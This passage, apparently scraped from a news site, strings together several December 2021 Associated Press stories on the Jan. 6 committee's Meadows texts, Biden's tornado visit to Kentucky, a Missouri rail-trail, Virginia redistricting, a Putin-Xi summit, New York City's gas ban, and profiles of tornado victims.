at the committee's Monday evening meeting that an important issue raised by the texts is whether Trump sought to obstruct the congressional certification by refusing to send a strong message to the rioters to stop. These texts leave no doubt, she said. The White House knew exactly what was happening at the Capitol. The investigating panel has already interviewed more than 300 witnesses, and subpoenaed more than 40 people, as it seeks to create the most comprehensive record yet of the lead-up to the insurrection and of the violent siege itself. If Meadows had appeared for his deposition, lawmakers had planned to ask him about Trumps efforts to overturn the election in the weeks before the insurrection, including his outreach to states and his communications with members of Congress. The panel says it wanted to know more about whether Trump was engaged in discussions regarding the response of the National Guard, which was delayed for hours as the violence escalated and the rioters beat police guarding the Capitol building. The documents provided by Meadows include an email he sent to an unidentified person saying that the Guard would be present to protect pro Trump people," the panel said, and that more would be available on standby. The committee did not release any additional details about that email. Committee staff said they would have interviewed Meadows about emails to leadership at the Department of Justice on December 29th and 30th, 2020, and January 1st, 2021, encouraging investigations of suspected voter fraud, even though election officials and courts across the country had rejected those claims. Associated Press writers Eric Tucker and Darlene Superville contributed to this report. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 DAWSON SPRINGS, Ky. (AP) President Joe Biden on Wednesday pledged to do whatever it takes, as long as it takes to help Kentucky and other states after a series of deadly tornadoes that he said left a trail of unimaginable devastation. You will recover and rebuild, he said. The scope and scale of this destruction is almost beyond belief, he said as he stood before a home reduced to a few walls and piles of rubble in Dawson Springs, one of two Kentucky towns he visited. Biden spoke of the stress felt by victims of natural disasters such as the weekend storms that swept across eight states and said it was urgent that people be moved from emergency shelters in order to prevent the spread of COVID-19. At the same time, the president praised the outpouring of support from reeling communities and said the federal support he has committed will keep flowing. Something good has to come out of this, Biden said. In so many places, destruction was met with compassion. More than 30 tornadoes tore through Kentucky and seven other states over the weekend, killing at least 88 people. Thousands of residents have lost their houses or are without power. I intend to do whatever it takes as long as it takes to support your state, your local leaders, as you recover and rebuild, and you will recover and rebuild, Biden said. In Dawson Springs, Biden walked through mounds of debris. Shattered Christmas decorations were tangled up with shards of furniture and strewn clothing. Trees were uprooted among homes reduced to rubble. Over the sounds of heavy machinery engaged in cleanup just blocks away, the president stopped to speak with storms victims, including a young girl clutching an American flag. Biden came over to a family sitting before a home without a roof or windows, and also spoke to a group of police officers. He offered hugs to an older couple. And at one point he joked with woman wearing Green Bay Packers apparel that she should tell star NFL quarterback Aaron Rodgers that hes gotta get the vaccine" a reference to Rodgers' stand against the COVID-19 shot. Earlier, in Mayfield, the president held hands in prayer with Graves County Executive Jesse Perry and a pastor. A family that had gathered in front of a destroyed home talked with Biden, who told reporters he was impressed how everybody is working together on the recovery. On Mayfields main street, Biden spoke with two women in a shattered building. They had a sign that said, God is good. Beaten but not defeated. Biden also took an aerial tour of the damage and held a briefing with officials in an airport hangar. Im here to listen, he said. This kind of tragedy, Biden said, either brings people together or it knocks them apart. He added, Theres no red tornadoes and blue tornadoes." Despite the president's push for unity in the face of disaster, his visit to the strongly Republican county, which Donald Trump won by a nearly 4-to-1 margin in 2020 brought out some detractors. Scattered protesters offered up Let's go Brandon chants, used by some conservatives to represent a more vulgar epithet against the president, as Biden arrived. But Biden's stop was met with optimism by many residents, who said they hoped the president would help get their communities back on their feet. I want to see if hes going to help individuals who have been affected by this, said Michelle Anderson, 68, who took cover in her bathtub with her cat when the tornado ripped the roof off the second floor of her apartment building in Mayfield. I hope he does. While congressional business kept him in Washington during the tour, U.S. Senate Minority Leader Mitch McConnell leader has spoken about his appreciation for Bidens response to the disaster. U.S. House Speaker Nancy Pelosi, D-Calif., said she is talking to Kentucky lawmakers about what is needed for the state a nod to a possible disaster relief bill with supplemental funds for recovery. Across the United States, it's been a year marked by a notable increase in extreme weather occurrences driven primarily by climate change. Only a month after he was sworn into office, Biden went to Houston to survey the damage wrought by a historic storm. He was in Idaho, Colorado and California to survey wildfire damage during the summer. After Hurricane Ida struck, Biden went to Louisiana as well as New Jersey and New York in September. The disasters have offered Biden evidence of what he says is the pressing need for America to do more to combat climate change and prepare for future disasters a case he made to help push for passage of his spending proposals. The $1 trillion infrastructure bill, signed into law last month, includes billions for climate resilience projects aimed to better defend people and property from future storms, wildfires and other natural disasters. His proposed $2 trillion social spending package, still pending in Congress, includes billions more to help shift the nation away from oil, gas and coal and toward widespread clean energy and electric vehicle use. The White House has spent much of the week engaging with lawmakers on the latter. Biden talked with West Virginia Sen. Joe Manchin, a key Democratic holdout, in hopes of smoothing over some of his issues in time to pass a package before years end. Five tornadoes hit Kentucky, including one with an extraordinarily long path of about 200 miles (322 kilometers), authorities said. Besides the deaths in Kentucky, the tornadoes also killed at least six people in Illinois, where the Amazon distribution center in Edwardsville was hit; four in Tennessee; two in Arkansas, where a nursing home was destroyed and the governor said workers shielded residents with their own bodies; and two in Missouri. Associated Press writers Sean Murphy and Bruce Schreiner in Mayfield, Kentucky, contributed to this report. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. JEFFERSON CITY, Mo. (AP) A new cross-state recreational trail is an important step closer to completion after Missouri announced on Tuesday that it was accepting ownership of an old railroad corridor that can be converted into a park. The Department of Natural Resources plans to develop a public trail along the 144 miles of the former Chicago, Rock Island and Pacific Railroad corridor, which stretches eastward from Windsor to Beaufort. The property was donated to the state by the Missouri Central Railroad Co., a subsidiary of the utility Ameren Missouri. The state already owns and operates a 47-mile trail on the Rock Island Spur, which runs eastward from Pleasant Hill to Windsor, where it connects with the Katy Trail. The state will operate both trails under a federal law that allows out-of-service rail corridors to be used as public trails though they would have to be reconverted to rail lines if ever needed again for that purpose. Much like the Katy Trail, we expect the Rock Island Trail to help grow local economies and small businesses, create jobs, and provide Missouri with another great outdoor recreational resource, Missouri Gov. Mike Parson said in a statement. The Rock Island Trail has been in the works for years and will cost an estimated $86 million to $116 million to fully develop, said DNR Director Dru Buntin. That cost is driven partly by the need to refurbish several tunnels and bridges, particularly the bridges over the Gasconade and Osage rivers, he said. The state doesn't have the full funding lined up. But Buntin said the department felt comfortable accepting the property because of the initial funding, which includes $2.7 million in federal funds, about $1 million from a parks foundation and commitments for additional money from private donors. The project also could get funding through the American Rescue Plan pandemic relief act or the federal infrastructure bill recently signed by President Joe Biden. Converting the rail corridor into a park could take five to 10 years, though it's too early to set a particular target for completion, Buntin said. The national nonprofit Rails-to-Trails Conservancy said it has been advocating for several decades to preserve the Rock Island corridor in Missouri and would try to help channel federal funding toward the project. Corridors of this length are few and far between, said Eric Oberg, the conservancys Midwest director. For decades, weve heard from so many people from Missouri, across the country and around the world who are looking forward to the day they can experience the Rock Island Trail. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 FALLS CHURCH, Va. (AP) Proposed redistricting maps under consideration by the Virginia Supreme Court would constitute a significant reduction in the number of majority Black districts in the General Assembly. How to protect minority voting rights has been one of the key points of contention in this redistricting cycle, as well as past ones, in Virginia. Figuring out a solution is a task that falls to the state Supreme Court, which began holding public hearings on the maps Wednesday. The traditional method of ensuring Black representation has been to require districts be drawn with a majority Black population. More recently, though, some experts especially on the Democratic side have suggested that majority Black districts unnecessarily pack too many Black voters into one district, diluting their influence in surrounding districts. In this redistricting cycle, the task of drawing maps first fell to a newly created bipartisan redistricting commission. During public debates, Democrats on the committee pushed for the creation of coalition districts, in which a district with, say, a 40% African American population can form coalitions with other minorities and white voters so that communities of color can elect their candidate of choice. Republicans on the commission favored the traditional focus on creating majority Black districts. The two sides failed to reach consensus on this or any other issue. Because the commission could not agree on any maps, state law now requires the Virginia Supreme Court to draw them. The maps submitted to the court last week contain only seven majority Black legislative districts in the two chambers combined far fewer than the 11 majority Black districts that now exist. Proposals submitted earlier to the redistricting commission would have created anywhere from 10 to 16 districts had they been adopted, according to an analysis from the nonpartisan Virginia Public Access Project. But the maps submitted to the court create a much higher number of majority-minority districts, those in which Blacks, Hispanics and Asians combined represent more than 50% of the population in a given district. The special masters who submitted the maps, Bernard Grofman and Sean Trende, told the court in a memo that the commission "drew districts that would elect the candidate of choice of a minority group only if the district could be drawn in a compact fashion that did not needlessly split counties. They said they were concerned that the maps would be subject to a legal challenge if they drew them with racial considerations in mind, so they drew them without regard to race and then evaluated the racial composition after the fact. Grofman and Trende said they weren't bothered by the fact that the new maps contained so few majority Black districts because they instead emphasized districts where minority groups would have the ability to elect their candidates of choice. Rebecca Green, a professor at William and Mary Law School with expertise in redistricting, said it's not surprising that the proposed maps reduce the number of majority Black districts. For several redistricting cycles, states were careful to maintain or increase the number of Black districts to avoid a lawsuit. That legal framework inflated the number of such districts, she said. But the U.S. Supreme Court in 2013 struck down parts of the Voting Rights Act, and states are no longer obligated to maintain specific numbers of majority Black districts. States are now looking for different ways to comply with the law, and in some cases are embracing the creation of coalition districts. From both a legal and a political standpoint, states have to walk a careful tightrope: Putting too many Black voters in a district leaves a state vulnerable to a charge of packing Black voters. Putting too few in a district can lead to charges of cracking Black voters. While many Democrats have leaned more recently toward creating coalition districts instead of majority Black districts, last month's legislative elections raise questions about the efficacy of that approach. Two Black delegates, Lashrecse Aird and Roslyn Tyler, lost elections in their districts in southside Virginia, a part of the state that exhibits some of the most extreme patterns of racially polarized voting. Both Aird and Tyler had their districts redrawn in 2018 after a federal court found that Black voters were unnecessarily packed into a small number of districts in their part of the state. The redrawn maps significantly reduced the Democratic tilt in both of their districts. The special master who oversaw the redrawn maps in 2018 was Grofman. Aird declined comment on this story through her office, while Tyler's office did not respond to an email requesting comment. Former Virginia Gov. L. Douglas Wilder, the nation's first Black elected governor, said in an interview that Democrats have done a poor job of truly looking out for Black voters interests, ignoring the long and difficult history of electing African Americans in a Southern state. And he said turning over the task of drawing the maps to a supposedly independent commission and now to the court has just exacerbated the problem. Who speaks for those people who have been historically denied through the centuries in Virginia? What groups have you heard coming forth? Wilder asked. I'll wait. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 MOSCOW (AP) Chinese President Xi Jinping supported Russian President Vladimir Putin in his push to get Western security guarantees precluding NATO's eastward expansion, the Kremlin said Wednesday after the two leaders held a virtual summit. Putin and Xi spoke as Moscow faces heightened tensions with the West over a Russian troop buildup near Ukraine's border. In recent weeks, Western nations engaged in diplomatic efforts to prevent a possible invasion of Ukraine. The Kremlin has denied harboring plans to storm its neighbor. Putin, meanwhile, demanded guarantees that NATO will not expand to Ukraine or deploy troops and weapons there. He told Xi on Wednesday about mounting threats to Russia's national interests from the U.S. and the NATO bloc, which consistently move their military infrastructure close to the Russian borders, Putins foreign affairs adviser, Yuri Ushakov, said. The Russian leader stressed the need to hold talks with NATO and the U.S. on legally binding security guarantees, according to Ushakov. Xi responded by saying he understands Russia's concerns and fully supports our initiative to work out these security guarantees for Russia, Ushakov said. He said Moscow's proposals have been passed on to U.S. Assistant Secretary of State for European and Eurasian Affairs Karen Donfried, who visited Moscow on Wednesday and met with Russia's deputy foreign minister, Sergei Ryabkov. In recent years, China and Russia have increasingly aligned their foreign policies to counter U.S. domination of the international economic and political order. Both have faced sanctions China over its abuses against minorities, especially Uyghur Muslims in Xinjiang, and for its crackdown on the pro-democracy movement in Hong Kong, and Russia for annexing Ukraines Crimean Peninsula in 2014 and over the poisoning and imprisonment of opposition leader Alexei Navalny. Beijing and Washington also remain at odds over trade, technology and Chinas military intimidation of Taiwan, which it claims as its own territory. Russias relations with the U.S. sank to post-Cold War lows after it annexed Crimea and threw its weight behind a separatist insurgency in Ukraines east. Tensions reignited in recent weeks after Moscow massed tens of thousands of troops near Ukraines border, a move Ukraine and the West feared may indicate plans for a new invasion. Moscow has denied that it plans to attack Ukraine and in turn blamed Ukraine for its own military buildup in the country's war-torn east. Russian officials alleged that Kyiv might try to reclaim the areas controlled by the rebels. It is within that context that Putin has pressed the West for guarantees that NATO will not expand to Ukraine or deploy its forces there. During their call on Wednesday, Putin and Xi hailed relations between Russia and China, with the Russian leader saying they are based on "such principles as not interfering in internal affairs (of each other), respect for each other's interests, determination to turn the shared border into a belt of eternal peace and good neighborliness. Xi said, through a translator, that he appreciated that Putin strongly supported Chinas efforts to protect key national interests and firmly opposed attempts to drive a wedge between our countries. Chinese state broadcaster CCTV reported that Xi said both China and Russia need to carry out more joint actions to more effectively safeguard our security and interests. At present, certain international forces are arbitrarily interfering in the internal affairs of China and Russia under the guise of democracy and human rights, and brutally trampling on international law and the norms of international relations, Xi was quoted by CCTV as saying. Putin also said he plans to meet with Xi in person in Beijing in February and to attend the 2022 Winter Olympics. The U.S., Canada, Australia and Britain have said they will not be sending dignitaries to the Winter Olympics as part of a diplomatic boycott to protest Chinas human rights record. Other countries have said they wont be sending officials because of pandemic travel restrictions. In welcoming Putins planned visit, Xi said sports could be a channel for their countries to boost ties. Both sides should strengthen coordination and cooperation on international affairs to maker louder voices on global governance, and come up with practical plans on global issues including the pandemic and climate change, Xi was quoted by CCTV as saying. Chinas Foreign Ministry issued a statement saying Xi told Putin he very much looks forward to this 'get together at the Winter Olympics and stands ready to work with President Putin for a shared future to jointly open a new chapter in post-COVID China-Russia relations. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 1 WASHINGTON (AP) As a mob overran the U.S. Capitol last January, some of Donald Trump's highest-profile defenders in the media and even his own son sent urgent text messages to the White House chief of staff urging him to get the then-president to do more to stop the violence. But they did not publicly display that same sense of alarm mere hours after the deadly insurrection. And they have since joined some of the country's top Republicans in downplaying Trump's role in the attack part of a larger effort to rewrite the history of Jan. 6. Here are some of the frantic messages that Trump allies sent to White House chief of staff Mark Meadows as the insurrection was unfolding and what theyve said publicly about the events since then: DONALD TRUMP JR. Hes got to condemn this s- ASAP. The Capitol Police tweet is not enough, Trump's eldest son wrote in a text message to Meadows about his father. That's according to excerpts read Monday by Republican Rep. Liz Cheney of Wyoming, vice chair of a House committee investigating what happened. Earlier on Jan. 6, before the violence, the younger Trump tweeted that his father has the people!!! over a picture of throngs of pro-Trump demonstrators who gathered in Washington. When word began to surface that the Capitol was breached, Trump Jr. changed his tone, tweeting, This is wrong and not who we are. Be peaceful," and "Dont start acting like the other side. We have a country to save and this doesnt help anyone. But, barely a week later and after the House impeached President Trump for inciting the insurrection Trump Jr. began advancing the false narrative that authorities knew violence was coming on Jan. 6 but didn't do enough to prepare in part because House Speaker Nancy Pelosi ignored warnings about what might occur. If these federal law enforcement agencies had prior knowledge that this was a planned attack then POTUS didnt incite anything," Trump Jr. tweeted on Jan. 14. "If he didnt incite anything then Nancy Pelosi and the Dems used impeachment on yet another sham political witch-hunt. GOP members of Congress, including House Republican leader Kevin McCarthy, have since advanced similarly false claims about Pelosi delaying military assistance to help Capitol Police officers trying to quell the attack. LAURA INGRAHAM Mark, the president needs to tell people in the Capitol to go home, the Fox News Channel host wrote, according to text excerpts Cheney read. "This is hurting all of us. He is destroying his legacy. But on her show the evening of Jan. 6, Ingraham cited false claims that the rioters included leftist provocateurs, saying, They were likely not all Trump supporters, and there are some reports Antifa sympathizers may have been sprinkled throughout the crowd. She added: If you are a Trump supporter hoping to display your support for the president, well, today's antics at the Capitol did just the opposite." Ingraham also made a false assertion that there were legitimate concerns that voter fraud potentially marred the 2020 election won by Democrat Joe Biden, but she noted, That never should have lent any license to violence or other chaos. Ingraham has since repeatedly downplayed the Jan. 6 attack. In April, she said that Americas most dangerous insurrectionists weren't those who participated in the mob. Instead, she said, The real threat to our future is Biden, and the well-heeled, powerful forces who want us to lose sight of what made America great in the first place. During a March phone interview with Trump, Ingraham asked him: Are you concerned that the U.S. Capitol, after Jan. 6, has become a fortress, protecting the Capitol from the people who are supposed to actually be the ones in charge here, not the people who are sitting in the Capitol? She then didn't object when Trump said the mob posed zero threat and suggested that authorities were persecuting a lot of those people for being a part of it. Ingraham said during her Tuesday show that, Both publicly and privately, I said what I believe: that the breach of the Capitol on Jan. 6 was a terrible thing." Crimes were committed. Some people were unfairly hounded and persecuted and prosecuted, she said. "But it was not an insurrection. SEAN HANNITY Can he make a statement? Ask people to leave the Capitol?" the Fox News Channel host wrote to Meadows about Trump, according to text excerpts read by Cheney. During his show the evening of Jan. 6, Hannity said those responsible for the attack must be arrested and prosecuted to the full extent of the law, but he also quickly raised concerns that law enforcement wasn't ready for what happened. I dont care if the radical left, radical right I dont know who they are. Theyre not people I would support," Hannity said then. "So how were officials not prepared? We got to answer that question. How did they allow the Capitol building to be breached in what seemed like less than a few minutes? During his show on Monday, Hannity called the House committee investigating the attack a Democrat sham and a waste of your time and money." He also falsely said Trump had pushed for extra Capitol protection before Jan. 6 but was denied by Pelosi. He had Meadows on as a guest, but neither mentioned the text messages. On Tuesday, Hannity opened his show likening what occurred during the Capitol attack to demonstrations around the country after the murder of George Floyd by a Minnesota police officer. All riots, obviously, are bad. All of them," Hannity said. And on this program, we strongly condemn the violence on Jan. 6 just like we condemned all of the violent riots in the summer of 2020." Hannity called Cheney reading his Meadows text a weak attempt to smear yours truly and, presumably I guess, President Trump, and argued that what he wrote was consistent with what he said on the air the day of the Capitol attack. I say the same thing in private I say to all of you, Hannity said. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 NEW YORK (AP) New York City is poised to bar most new buildings from using natural gas within a few years, after lawmakers voted Wednesday to make the United States' most populous city a showcase for a climate-change-fighting policy that has been both embraced and blocked elsewhere. If Democratic Mayor Bill de Blasio signs the measure, as expected, most construction projects submitted for approval after 2027 would have to use something other than gas or oil such as electricity for heating, hot water and cooking. Some smaller buildings would have to comply as early as 2024. Hospitals, commercial kitchens and some other facilities would be exempt. Supporters say it's a substantial and necessary move to combat global warming. Heating, cooling and powering buildings accounts for nearly 70% of the city's emissions of carbon dioxide and other heat-trapping gases. New buildings' stoves and furnaces would use electricity generated partly from burning natural gas and other fossil fuels, but backers say the change still would keep millions of tons of carbon dioxide out of the atmosphere over time. They argue it would boost momentum ahead of a statewide requirement to use 70% renewable energy by 2030, up from about 30% now. This is a huge, huge step forward," said Alex Beauchamp of Food & Water Watch, an environmental group. He called the legislation a real game-changer on the national scene." Berkeley, California, debuted the idea of banning gas hookups for new buildings in 2019. The measure faces an ongoing court challenge from a restaurant association, but San Francisco, Seattle and a few dozen other U.S. cities mainly in California have followed suit. Its too early to gauge the impact, said Amy Rider of the Building Decarbonization Coalition, which advocates for such laws. The town of Brookline, Massachusetts, has passed one twice. It was retooled and reapproved this summer after the state attorney general blocked the first version, saying it intruded on state authority. The AG hasn't taken action against the new effort to date. At the same time, states including Arizona, Oklahoma and Texas have barred cities from enacting such laws, saying that consumers should have their choice of energy sources. In Texas, the effort began before, but gained all the more steam after, a February storm spawned massive power outages that left many households shivering without electricity, heat or drinkable water for days. In New York, shifts toward electric vehicles, furnaces and appliances are expected to create long-term upward pressure on electricity use, according to the New York Independent System Operator, which oversees the states electricity supply. The organization said in a recent report that it's still studying how those trends will affect the power system, but it forecasts that electricity demand in winter could surpass summer peaks by about 2040. The state envisions big increases in wind and solar power, among other approaches to meet its renewable energy targets and growing demand. Some projects are in the works. Still, some building interests worried at a City Council hearing last month that banning new natural gas hookups could strain the electrical grid. It already struggles during heat waves in the city, sometimes resulting in sizeable neighborhood outages. James Whelan, who runs a landlords lobbying group called the Real Estate Board of New York, said Wednesday that it gets the importance of moving away from fossil fuels, but these policies must be implemented in a way that ensures that New Yorkers have reliable, affordable, carbon-free electricity. Real estate groups also pressed to push back the deadlines for nixing gas, saying that alternative technologies such as electric heat pumps that transfer heat between indoors and outdoors need more time to develop, particularly for skyscrapers. Utilities, meanwhile, have sounded economic alarms, while saying they support and are working on greening the energy supply. We have real concerns that, as envisioned, these (proposals) may result in increased energy costs for customers, Bryan Grimaldi, a vice president of power provider National Grid, told council members last month. Con Edison, which serves much of the city, encouraged them to help poorer renters with what it characterized as increased costs of electric heating. Both utilities greeted Wednesday's vote with measured statements, with Con Ed saying that a clear-cut path toward electrification of most new buildings is a sensible and necessary step. Environmental groups say electric doesn't necessarily mean more expensive. In fact, they say it's just the opposite in some new, energy-efficient buildings. They also note that natural gas prices fluctuate, having risen notably this year before recently dropping somewhat. Considering that residents have been told to forgo plastic bags and straws and take other steps to preserve the planet, its time for legislators to look beyond individual behavior to building emissions, Council Member Alicka Ampry-Samuel told her colleagues Wednesday before they approved her legislation by a 40-7 vote, with one abstention. The Democrat, who represents an overwhelmingly Black Brooklyn district, has said the legislation also aims to fight air pollution, particularly on behalf of communities of color. Researchers have found that non-white people are exposed to more air pollution than whites across the country. Associated Press writers Kathleen Ronayne in Sacramento, California, and David Klepper in Providence, Rhode Island, contributed to this report. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 A Kentucky woman who worked her way up from school bus driver to become an administrator and school board member. A grandfather who stole the show when he was around his grandchildren. A 2-month-old whose family tried to protect her by putting her in a car seat. A 94-year-old Korean War veteran from Arkansas. These were among at least 88 people killed during tornadoes Friday night that ripped through five states in the Midwest and South. The tornado outbreak cut a path of devastation that stretched from Arkansas, where a nursing home was destroyed, to Illinois, where an Amazon distribution center was heavily damaged. In Kentucky, 74 people died, and Gov. Andy Beshear said the death toll could grow. Here are some of the people who perished during the tornadoes. By the time she won election to a vacant school board seat last year, Jenny Bruce had played a role at virtually every level in the small school district in Dawson Springs, Kentucky, where she had graduated from high school decades earlier. Jenny started out driving a bus and she was a teachers aide, and she gradually worked her way up to finance director, Dawson Springs School Superintendent Leonard Whalen recalled. She was some kind of lady. During the deadly tornado outbreak late Friday and early Saturday, 65-year-old Bruce was sheltering inside when a tornado obliterated her home, Whalen said. He said neighbors found her amid the wreckage. A county coroner later confirmed her death. Bruce had worked for the school system for roughly four decades before retiring about two years ago. Whalen helped persuade her to campaign for an empty seat on the five-member school board in 2020, and she ended up running unopposed. In her years working in the school districts administrative office, Whalen said, Bruce was universally liked never saying an unkind word about anyone and often bringing cookies and other treats for co-workers to share. She was a Dawson Springs graduate and she loved our schools, Whalen said. She loved kids. Kevin Dickey loved spending time with his family and stole the show and the hearts of his grandchildren anytime he was around, his family said in a statement. He also had a tight bond with his co-workers at Amazon, they said. Dickey, 62, was among six people killed when an Amazon warehouse in Edwardsville, Illinois, was struck. Authorities say both sides of the warehouse used to prepare orders for delivery collapsed inward and the roof caved. Rescuers had to pull survivors from the rubble. Dickeys daughter, Kristen Anastasi, told the Marion Republican that a co-worker said Dickey was trying to get people to safety and making sure his drivers were OK. She called his work ethic unmatched and said that's what the family would expect of him. Dad talked often about his co-workers and their daily stories. He had a great bond with many, the family said. Douglas Koon, his wife, Jackie, and their three children huddled in his mother-in-laws bathroom in Dawson Springs, Kentucky, as the storms approached. The tornado hit the house directly, flinging the family around and tossing in the air a bathtub that was shielding two of his sons. The couple put their infant daughter, Oaklynn, in a car seat to protect her, and she appeared to be OK on Saturday. But by Sunday, the baby was having seizures, and doctors noticed a brain bleed after she was taken to the hospital. They believed she had a stroke, Koon said in a Facebook post. Its not looking good at this point, he wrote. The machines are keeping her alive. Early Monday morning, the family posted that the infant had died. In a text message to The Associated Press on Monday, Koon said he was struggling to process everything that Im going through. A family member has set up a GoFundMe account for Koons family and his mother-in-law, Sheila Rose, who lost her home. Lisa Taylor had worked 14 years as a florist at the same family-owned shop in Memphis, Tennessee, when she left in October to start a new career at the airport with the Transportation Security Administration. Co-workers at Rachels Flowers congratulated her with balloons on a sign that read, Good Luck, Lisa. Taylor, 54, stayed in touch with her friends at the flower shop, making plans to return part time over the holidays to make some extra money. Then the phone rang Saturday, just as the power came back on at the shop after violent storms passed through overnight. Taylors longtime boyfriend was calling with tragic news. A large tree had fallen through her roof overnight, killing Taylor as she slept in bed. She had just gotten started on her new adventure and shes just been taken, said Angie Morton, who worked as a florist alongside Taylor for several years. A single mother of two children now in their 20s, Taylor took her new government job for higher wages and the extra stability that came with health insurance and other benefits, friends said. But she had a creative spark that made her a natural when it came to working with flowers, Morton said, whether she was helping grieving families design funeral arrangements or using bits and pieces of broken, castoff jewelry to add some custom sparkle to high school girls prom corsages. She really liked to bling everything up, Morton said. She would take stuff other people would throw in the trash and make beautiful things out of it. If she found an earring in a store that didnt have a matching pair, she would think, I know theres somebody who that would be perfect for her corsage. Charles Newell, deputy emergency management administrator for Shelby County, Tennessee, said she was the only known storm death in the county that includes Memphis. Rachel Greer, the flower shops owner, was helping plan floral arrangements for Taylors funeral. She said Taylors daughter had requested a sea of purple flowers such as lavender roses and chrysanthemums to match her mothers favorite color. Meanwhile customers were dropping by the shop to offer condolences and leaving notes. One of them read: Lisa was a light in a dark world. Annistyn Rackley was an outgoing and energetic 9-year-old who loved swimming, dancing and cheerleading, according to her great-aunt Sandra Hooker. The two had become close over the past four years: Hooker offered the girl support during doctors visits and blood draws required by a rare liver condition that still didnt keep the southeastern Missouri girl from participating in activities. Annistyn, her parents and her two younger sisters took shelter Friday night in a windowless bathroom in their new home west of Caruthersville, Missouri. To prove theyd gotten to the familys safe space, the girls mom texted Hooker a photo of the three in and next to the bathtub all of them smiling, 9-year-old Annistyn holding her favorite doll. Fifteen minutes later, Sandra Hooker said, a tornado splintered the home, carrying the family members dozens of yards through the air into a field where first responders found them in mud. Annistyn died, and the others were injured. The mother, Meghan Rackley, and their middle daughter, 7-year-old Avalinn, remained hospitalized Monday. Hooker called Annistyn a special angel and said the girl delighted in donning outfits and makeup for cheer competitions and learning new dances from TikTok. She did cartwheels and splits in front of Hooker. I would just gasp because she could do the splits all the time, and she would just laugh, Hooker said. She loved dancing. Hooker teaches gifted students at the same elementary school where Meghan Rackley teaches kindergarten in Caruthersville, which is nestled next to the Mississippi River in whats known as Missouris Bootheel region. Hooker said Annistyns parents learned when she was 2 months old that she had a rare liver disorder in which bile ducts dont develop properly, sometimes making it hard to fight off illness. Golden Wes Hembrey, 94, died when a tornado destroyed the nursing home where he lived in Monette, Arkansas. His nephew Mike Hembrey said the Korean War veteran and retired farmer had been in the nursing home since 2016 because of Alzheimers disease. But he remembered his uncle as engaged with his extended family throughout their younger years. He was outgoing, his nephew said. Hed be out in the yard playing with us. But dont make him mad. When he was mad, he was mad. He liked cutting up, telling jokes, said niece Kristie Carmichael. The Hembreys said Jimmie Hembrey had visited his brother the day before the tornado and found him to be in good health. Graves County Deputy Jailer Robert Daniel was supervising inmate workers at a candle factory in Mayfield, Kentucky, when the tornado struck. His boss said Monday that Daniel had been focused on the prisoners in his care when he was killed as the twister wrecked the plant. Daniel, 47, had worked at the county jail for a few years previously and was rehired a few months ago, said Graves County Jailer George Workman. The seven inmates whom Daniel was overseeing at the factory Friday night were part of a brand-new work program and had just begun their jobs three days earlier. After the storm hit, the inmates told Workmans deputies that it was Daniel who literally had pushed them all to safety, guiding them through a doorway and against a wall in an interior part of the plant. Workman said the last inmate through the door told deputies that Daniel was behind him one moment, and suddenly he was gone. He was physically still in the act of trying to get them to safety. And thats when it hit, Workman said. It takes a tremendous person to be able to lay their own life down for somebody else. But he did and he was doing it for the right reasons. All seven of the inmates in Daniels care survived, Workman said, with two of them suffering broken legs. A cousin, Mark Saxton Sr., said Daniel was a native of the Mayfield area, which was devastated by the storm. He loved his community, Saxton said. He was a great family man. Everybody who met him just loved him. Hes the type of person you want to be associated with. Brian Crick, a judge for two western Kentucky counties, was known for his sound judgment when it came to solving problems, a fellow judge said. Crick, 43, was a district judge for Muhlenberg and McLean counties who handled criminal misdemeanor cases, traffic court and juvenile cases, said Circuit Judge Brian W. Wiggins. Wiggins said he had known his fellow judge since 2005, when Crick was a public defender. He later was in private practice before taking the bench in 2011. Many of the defendants who came before him werent represented by attorneys, and Crick was very good about seeing to it that their rights were protected, Wiggins said. He had a very common- sense approach. He was very level-headed about how to handle cases and how to talk to people. Wiggins was killed when the storm hit his familys home in Muhlenberg County. He is survived by a wife and three children, all of whom made it through the storm without major injuries, Wiggins said. He was just a consummate family man ... very engaged with his children and his wife. They were No. 1 to him. We are especially heartbroken to get the news, Kentucky Supreme Court Chief Justice John Minton said in a statement. This is a shocking loss to his family, his community and the court system and his family is in our prayers. Two of June Penningtons children said the Manila, Arkansas, resident was devoted to her four children and nine grandchildren and had a particular soft spot for animals. Pennington, 52, was working as an assistant manager at a Dollar General store in nearby Leachville, Arkansas, when it was hit. She didnt love anything as much in life as her kids and grandkids, said Christie Pennington. She was truly selfless and loved wholeheartedly. David Benefield, the oldest of June Penningtons four children, said he was born when his mother was only 14. She was a kid raising a kid. We were just like best friends, he said. Its crazy how close you become. Her children remember her as someone who would do anything that we asked her to do, Benefield said. Even after her children were grown, they said June Pennington wanted to spend as much time with them as possible. Christie Pennington said her mother adopted dogs, cats, rabbits, birds, turtles and even a ferret. If there was ever an animal in need of a home, we took it in, she said. Clayton Lynn Cope, 29, had been working at Amazon for more than a year before the storm killed him at a company facility in southwestern Illinois. Five other workers also died at the facility located outside St. Louis. Cope, who lived in nearby Alton, Illinois, had joined the Navy after graduating from high school and was an avid outdoorsman who also liked to ride motorcycles and play video games. He had a special place in his heart for his dog, Draco, said his younger sister, Rachel Cope. He would go out of his way for anyone, Cope said in a written message. Ollie Borgmann, 84, was a sweet and typical grandmother who had lived in her home in Defiance, Missouri, for decades. A tornado blew through the home she shared with her 84-year-old husband, Vernon, on Friday night, blowing the house off its foundation, as well as that of a neighbors house in the town located about 40 miles (64 kilometers) west of St. Louis. Her son Mark Borgmann told the St. Louis Post-Dispatch that his brother, Keith, was on the phone with their father during the powerful storm when the line went dead. The next thing Vernon Borgmann remembers is waking up in a nearby field surrounded by debris. He suffered scratches and bruises but will be OK, said Mark Borgmann. When 